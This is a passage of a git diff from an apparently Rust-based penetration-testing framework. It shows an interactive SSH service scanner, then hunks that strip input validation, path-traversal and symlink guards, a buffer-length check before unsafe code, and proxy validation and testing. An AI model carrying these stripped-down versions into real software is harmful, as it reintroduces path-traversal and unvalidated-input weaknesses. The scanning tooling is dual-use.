let file_path = prompt("File path")?;
if !file_path.is_empty() {
match load_targets_from_file(&file_path, port) {
Ok(file_targets) => {
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
targets.extend(file_targets);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Deduplicate
let unique: HashSet<_> = targets.into_iter().collect();
let targets: Vec<_> = unique.into_iter().collect();
if targets.is_empty() {
return Err(anyhow!("No targets specified"));
}
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
// Get scan options
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
.parse()
.unwrap_or(DEFAULT_THREADS);
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
println!();
// Run scan
let results = scan_ssh(targets, threads, timeout).await;
// Save results?
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
let output_path = prompt_default("Output file", "ssh_scan_results.txt")?;
if let Err(e) = save_results(&results, &output_path) {
println!("{}", format!("[-] Failed to save: {}", e).red());
}
}
println!();
println!("{}", format!("[*] SSH scanner complete. Found {} services.", results.len()).green());
Ok(())
}
@@ -247,10 +247,6 @@ async fn send_and_receive_one(
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
match sock_clone.recv_from(&mut buf) {
Ok((len, addr)) => {
// Safe conversion: we know len is valid and within buf bounds
if len > buf.len() {
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
}
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
Ok(Some((slice.to_vec(), sock_addr)))
@@ -420,7 +416,6 @@ pub async fn run(target: &str) -> Result<()> {
stdin().read_line(&mut user_input).expect("Failed to read line");
if user_input.trim().to_lowercase() == "yes" {
// Safe wrapper for geteuid - it's a simple system call that cannot fail
let euid = unsafe { libc::geteuid() };
if euid != 0 {
println!("don't lie");
+150 -847
View File
File diff suppressed because it is too large Load Diff
-1
View File
@@ -1 +0,0 @@
+51 -530
View File
@@ -2,182 +2,55 @@
use colored::*;
use std::fs;
use std::io::{BufRead, BufReader};
use std::io::{BufRead, BufReader, Error};
use std::path::Path;
use std::sync::Arc;
use std::time::Duration;
use anyhow::{Result, anyhow, Context};
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest;
use tokio::sync::Semaphore;
use url::Url;
use regex::Regex;
use anyhow::{Result};
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
/// Maximum length for target strings to prevent DoS
const MAX_TARGET_LENGTH: usize = 2048;
/// Maximum length for module paths
const MAX_MODULE_PATH_LENGTH: usize = 512;
/// Maximum file size to read (10MB) - prevents reading huge files
const MAX_FILE_SIZE: u64 = 10 * 1024 * 1024;
/// Maximum number of proxies to process
const MAX_PROXIES: usize = 100000;
/// Maximum parallel proxy tests
const MAX_PARALLEL_PROXIES: usize = 1000;
/// Maximum timeout for proxy tests (5 minutes)
const MAX_PROXY_TIMEOUT_SECS: u64 = 300;
/// Take "1.2.3.4", "::1", "[::1]:8080" or "hostname" and
/// always return a valid "host:port" or "[ipv6]:port" string.
///
/// # Security
/// - Validates input length to prevent DoS
/// - Sanitizes input to prevent injection
/// - Validates hostname format
/// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and
/// always return a valid “host:port” or “[ipv6]:port” string.
pub fn normalize_target(raw: &str) -> Result<String> {
// Input validation
let trimmed = raw.trim();
// Check length to prevent DoS
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
if trimmed.len() > MAX_TARGET_LENGTH {
return Err(anyhow!(
"Target too long (max {} characters, got {})",
MAX_TARGET_LENGTH,
trimmed.len()
));
}
// Basic sanitization - remove control characters and excessive whitespace
let sanitized: String = trimmed
.chars()
.filter(|c| !c.is_control() || *c == ' ' || *c == '\t')
.collect::<String>()
.split_whitespace()
.collect::<Vec<_>>()
.join(" ");
if sanitized.is_empty() {
return Err(anyhow!("Target contains only invalid characters"));
}
// Check for path traversal attempts
if sanitized.contains("..") || sanitized.contains("//") {
return Err(anyhow!("Invalid target format: contains path traversal characters"));
}
// Handle already normalized formats
if sanitized.contains("]:") || sanitized.starts_with('[') {
// Validate the format
if sanitized.starts_with('[') && !sanitized.contains(']') {
return Err(anyhow!("Invalid IPv6 format: missing closing bracket"));
}
// Basic validation - check it's not just brackets
let inner = sanitized.trim_matches(|c| c == '[' || c == ']');
if inner.is_empty() {
return Err(anyhow!("Invalid target: empty address"));
}
return Ok(sanitized.to_string());
if raw.contains("]:") || raw.starts_with('[') {
// Already normalized, like [::1]:8080 or [2001:db8::1]
return Ok(raw.to_string());
}
// Detect IPv6 addresses (multiple colons, no dots)
let colon_count = sanitized.matches(':').count();
let has_dots = sanitized.contains('.');
// IPv6 detection: multiple colons and no dots (or dots only in port)
let is_ipv6 = colon_count >= 2 && !has_dots;
// Additional IPv6 validation
// Looks like an unwrapped IPv6 address if it has multiple colons
let is_ipv6 = raw.matches(':').count() >= 2;
if is_ipv6 {
// Check for valid IPv6 characters
let ipv6_re = Regex::new(r"^[0-9a-fA-F:]+$").unwrap();
let addr_part = sanitized.split(':').next().unwrap_or("");
if !ipv6_re.is_match(addr_part) && !addr_part.is_empty() {
return Err(anyhow!("Invalid IPv6 address format: '{}'", sanitized));
}
Ok(format!("[{}]", sanitized))
Ok(format!("[{}]", raw))
} else {
// Validate hostname/IPv4 format
// Basic validation: no spaces, reasonable characters
if sanitized.contains(' ') {
return Err(anyhow!("Invalid target format: contains spaces"));
}
// Check for valid hostname/IPv4/CIDR characters (allow / for CIDR notation)
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:/]+$").unwrap();
if !host_re.is_match(&sanitized) {
return Err(anyhow!("Invalid target format: contains invalid characters"));
}
Ok(sanitized.to_string())
Ok(raw.to_string())
}
}
/// Recursively list .rs files up to a certain depth with security checks
/// Recursively list .rs files up to a certain depth (unchanged)
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
let mut modules = Vec::new();
// Depth limit to prevent infinite recursion
if depth > MAX_DEPTH {
return modules;
}
// Validate directory exists and is readable
if !dir.exists() {
return modules;
}
// Prevent path traversal - ensure we're within src/modules
let modules_base = Path::new("src/modules");
if !dir.starts_with(modules_base) && depth > 0 {
// Only allow traversal within src/modules
if depth > MAX_DEPTH || !dir.exists() {
return modules;
}
// Read directory with error handling
let entries = match fs::read_dir(dir) {
Ok(entries) => entries,
Err(_) => return modules, // Silently skip unreadable directories
};
if let Ok(entries) = fs::read_dir(dir) {
for entry in entries.flatten() {
let path = entry.path();
for entry in entries.flatten() {
let path = entry.path();
// Check for symlinks that might cause issues
if path.is_symlink() {
continue; // Skip symlinks for security
}
if path.is_dir() {
// Recursively collect from subdirectories
modules.extend(collect_module_paths(&path, depth + 1));
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
// Only process .rs files, skip mod.rs
if file_name.ends_with(".rs") && file_name != "mod.rs" {
// Validate path length
let relative_path = match path.strip_prefix("src/modules") {
Ok(rel) => rel,
Err(_) => &path, // Fallback to full path if strip fails
};
let path_str = relative_path
.with_extension("")
.to_string_lossy()
.replace('\\', "/"); // Windows path normalization
// Validate path length
if path_str.len() <= MAX_MODULE_PATH_LENGTH {
modules.push(path_str);
if path.is_dir() {
modules.extend(collect_module_paths(&path, depth + 1));
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
if file_name.ends_with(".rs") && file_name != "mod.rs" {
let relative_path = path
.strip_prefix("src/modules")
.unwrap_or(&path)
.with_extension("")
.to_string_lossy()
.replace('\\', "/"); // For Windows
modules.push(relative_path);
}
}
}
@@ -186,27 +59,13 @@ fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
modules
}
/// Dynamically checks if a module path exists at any depth with validation
/// Dynamically checks if a module path exists at any depth (unchanged)
pub fn module_exists(module_path: &str) -> bool {
// Input validation
if module_path.is_empty() {
return false;
}
if module_path.len() > MAX_MODULE_PATH_LENGTH {
return false;
}
// Check for path traversal attempts
if module_path.contains("..") || module_path.contains("//") {
return false;
}
let modules = collect_module_paths(Path::new("src/modules"), 0);
modules.iter().any(|m| m == module_path)
}
/// Lists all available modules recursively under src/modules/
/// Lists all available modules recursively under src/modules/ (unchanged)
pub fn list_all_modules() {
println!("{}", "Available modules:".bold().underline());
let modules = collect_module_paths(Path::new("src/modules"), 0);
@@ -234,20 +93,8 @@ pub fn list_all_modules() {
}
}
/// Finds and displays modules matching a keyword with validation
/// Finds and displays modules matching a keyword (unchanged)
pub fn find_modules(keyword: &str) {
// Input validation
if keyword.is_empty() {
println!("{}", "Keyword cannot be empty.".red());
return;
}
// Limit keyword length
if keyword.len() > 100 {
println!("{}", "Keyword too long (max 100 characters).".red());
return;
}
let keyword_lower = keyword.to_lowercase();
let modules = collect_module_paths(Path::new("src/modules"), 0);
@@ -287,358 +134,32 @@ pub fn find_modules(keyword: &str) {
}
}
const SUPPORTED_PROXY_SCHEMES: &[&str] = &["http", "https", "socks4", "socks4a", "socks5", "socks5h"];
#[derive(Debug, Clone)]
pub struct ProxyParseError {
pub line_number: usize,
pub content: String,
pub reason: String,
}
#[derive(Debug, Clone)]
pub struct ProxyLoadSummary {
pub proxies: Vec<String>,
pub skipped: Vec<ProxyParseError>,
}
#[derive(Debug, Clone)]
pub struct ProxyTestFailure {
pub proxy: String,
pub reason: String,
}
#[derive(Debug, Clone)]
pub struct ProxyTestSummary {
pub working: Vec<String>,
pub failed: Vec<ProxyTestFailure>,
}
/// Validates and sanitizes a proxy URL
fn validate_proxy_url(url: &Url) -> Result<()> {
// Check scheme
if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
}
// Validate host
let host = url.host_str()
.ok_or_else(|| anyhow!("missing proxy host"))?;
// Validate host length
if host.is_empty() {
return Err(anyhow!("proxy host cannot be empty"));
}
if host.len() > 253 { // Max DNS hostname length
return Err(anyhow!("proxy host too long (max 253 characters)"));
}
// Validate hostname format (basic check)
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !host_re.is_match(host) {
return Err(anyhow!("invalid proxy host format"));
}
// Check for localhost/private IP abuse (warning only, not blocking)
if host == "localhost" || host == "127.0.0.1" || host == "::1" {
// Allow but could log warning in production
}
// Validate port
let port = url.port()
.ok_or_else(|| anyhow!("missing proxy port"))?;
if port == 0 {
return Err(anyhow!("proxy port cannot be 0"));
}
// Port is already validated to be in u16 range (0-65535) by Url::parse
// We just need to check it's not 0 (already checked above)
// Additional validation: check for common restricted ports if needed
Ok(())
}
/// Attempt to normalise and validate a proxy entry with enhanced security
fn normalize_proxy_candidate(line: &str) -> Result<String> {
let trimmed = line.trim();
// Input validation
if trimmed.is_empty() {
return Err(anyhow!("empty line"));
}
// Length check to prevent DoS
if trimmed.len() > 2048 {
return Err(anyhow!("proxy line too long (max 2048 characters)"));
}
// Sanitize input - remove control characters (but allow newline/carriage return for line processing)
let sanitized: String = trimmed
.chars()
.filter(|c| {
let ch = *c;
!ch.is_control() || ch == '\n' || ch == '\r'
})
.collect();
if sanitized.is_empty() {
return Err(anyhow!("proxy line contains only invalid characters"));
}
// Add scheme if missing
let candidate = if sanitized.contains("://") {
sanitized
/// Parses a single proxy line (unchanged)
fn parse_proxy_line(line: &str) -> String {
let trimmed = line.trim().to_lowercase();
if trimmed.starts_with("http://")
|| trimmed.starts_with("https://")
|| trimmed.starts_with("socks4://")
|| trimmed.starts_with("socks5://")
{
line.to_string()
} else {
format!("http://{}", sanitized)
};
// Parse URL
let url = Url::parse(&candidate)
.map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
// Validate the proxy URL
validate_proxy_url(&url)?;
Ok(candidate)
format!("http://{}", line)
}
}
/// Load proxies from a file with enhanced security and validation
pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
// Input validation
if filename.is_empty() {
return Err(anyhow!("filename cannot be empty"));
}
// Path validation - prevent path traversal
let path = Path::new(filename);
// Check for path traversal attempts
if filename.contains("..") {
return Err(anyhow!("path traversal detected in filename: '{}'", filename));
}
// Resolve to absolute path to check
let canonical = path.canonicalize()
.map_err(|e| anyhow!("failed to resolve file path '{}': {}", filename, e))?;
// Check file exists and is a regular file
if !canonical.is_file() {
return Err(anyhow!("'{}' is not a regular file", filename));
}
// Check file size to prevent reading huge files
let metadata = fs::metadata(&canonical)
.with_context(|| format!("failed to read file metadata for '{}'", filename))?;
if metadata.len() > MAX_FILE_SIZE {
return Err(anyhow!(
"file too large (max {} bytes, got {} bytes)",
MAX_FILE_SIZE,
metadata.len()
));
}
// Open file
let file = fs::File::open(&canonical)
.with_context(|| format!("failed to open proxy file '{}'", filename))?;
/// Load proxies from a file, returning normalized proxy URLs (unchanged)
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
let file = fs::File::open(filename)?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
let mut skipped = Vec::new();
let mut line_count = 0usize;
for (idx, line_res) in reader.lines().enumerate() {
line_count = idx + 1;
// Limit number of lines to process
if line_count > MAX_PROXIES {
skipped.push(ProxyParseError {
line_number: line_count,
content: format!("... (truncated after {} lines)", MAX_PROXIES),
reason: format!("file exceeds maximum line limit ({})", MAX_PROXIES),
});
break;
}
let raw_line = line_res
.with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
let trimmed = raw_line.trim();
// Skip empty lines and comments
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
continue;
}
match normalize_proxy_candidate(trimmed) {
Ok(proxy) => proxies.push(proxy),
Err(err) => skipped.push(ProxyParseError {
line_number: idx + 1,
content: if trimmed.len() > 100 {
format!("{}...", &trimmed[..100])
} else {
trimmed.to_string()
},
reason: err.to_string(),
}),
for line in reader.lines() {
let line = line?.trim().to_string();
if !line.is_empty() {
proxies.push(parse_proxy_line(&line));
}
}
if proxies.is_empty() {
return Err(anyhow!("no valid proxies found in '{}' (processed {} lines)", filename, line_count));
}
// Limit number of proxies
if proxies.len() > MAX_PROXIES {
let original_count = proxies.len();
proxies.truncate(MAX_PROXIES);
return Err(anyhow!(
"too many proxies (max {}, found {}). Truncated to {}",
MAX_PROXIES,
original_count,
MAX_PROXIES
));
}
Ok(ProxyLoadSummary { proxies, skipped })
}
/// Test proxies concurrently with enhanced validation and resource limits
pub async fn test_proxies(
proxies: &[String],
test_url: &str,
timeout_secs: u64,
max_parallel: usize,
) -> ProxyTestSummary {
// Input validation
if proxies.is_empty() {
return ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
}
// Validate and limit inputs
let timeout_secs = timeout_secs.min(MAX_PROXY_TIMEOUT_SECS).max(1);
let max_parallel = max_parallel.min(MAX_PARALLEL_PROXIES).max(1);
// Limit number of proxies to test
let proxies_to_test = if proxies.len() > MAX_PROXIES {
&proxies[..MAX_PROXIES]
} else {
proxies
};
// Validate test URL
let test_url = test_url.trim();
if test_url.is_empty() {
return ProxyTestSummary {
working: Vec::new(),
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
proxy: p.clone(),
reason: "test URL is empty".to_string(),
}).collect(),
};
}
// Validate URL format
if let Err(e) = Url::parse(test_url) {
return ProxyTestSummary {
working: Vec::new(),
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
proxy: p.clone(),
reason: format!("invalid test URL: {}", e),
}).collect(),
};
}
let timeout = Duration::from_secs(timeout_secs);
let semaphore = Arc::new(Semaphore::new(max_parallel));
let mut tasks = FuturesUnordered::new();
for proxy in proxies_to_test.iter().cloned() {
let test_url = test_url.to_string();
let semaphore = Arc::clone(&semaphore);
tasks.push(tokio::spawn(async move {
let permit = match semaphore.acquire_owned().await {
Ok(p) => p,
Err(_) => {
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
}
};
let _permit = permit;
let result = check_proxy(&proxy, &test_url, timeout).await;
(proxy, result)
}));
}
let mut summary = ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
while let Some(res) = tasks.next().await {
match res {
Ok((proxy, Ok(()))) => summary.working.push(proxy),
Ok((proxy, Err(err))) => summary.failed.push(ProxyTestFailure {
proxy,
reason: err.to_string(),
}),
Err(join_err) => summary.failed.push(ProxyTestFailure {
proxy: "<spawn failed>".to_string(),
reason: join_err.to_string(),
}),
}
}
summary
}
/// Check a single proxy with enhanced error handling and validation
async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
// Validate inputs
if proxy.is_empty() {
return Err(anyhow!("proxy cannot be empty"));
}
if test_url.is_empty() {
return Err(anyhow!("test URL cannot be empty"));
}
// Validate URL format
let _test_url_parsed = Url::parse(test_url)
.map_err(|e| anyhow!("invalid test URL '{}': {}", test_url, e))?;
// Create proxy configuration
let proxy_cfg = reqwest::Proxy::all(proxy)
.with_context(|| format!("invalid proxy '{}'", proxy))?;
// Build HTTP client with timeout
let client = reqwest::Client::builder()
.timeout(timeout)
.proxy(proxy_cfg)
.danger_accept_invalid_certs(true)
.build()
.context("failed to build reqwest client")?;
// Make request with timeout
let response = client
.get(test_url)
.timeout(timeout)
.send()
.await
.with_context(|| format!("request via proxy '{}' failed", proxy))?;
// Check response status
let status = response.status();
if !status.is_success() {
return Err(anyhow!(
"received HTTP status {} while hitting {}",
status,
test_url
));
}
Ok(())
Ok(proxies)
}
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 349 KiB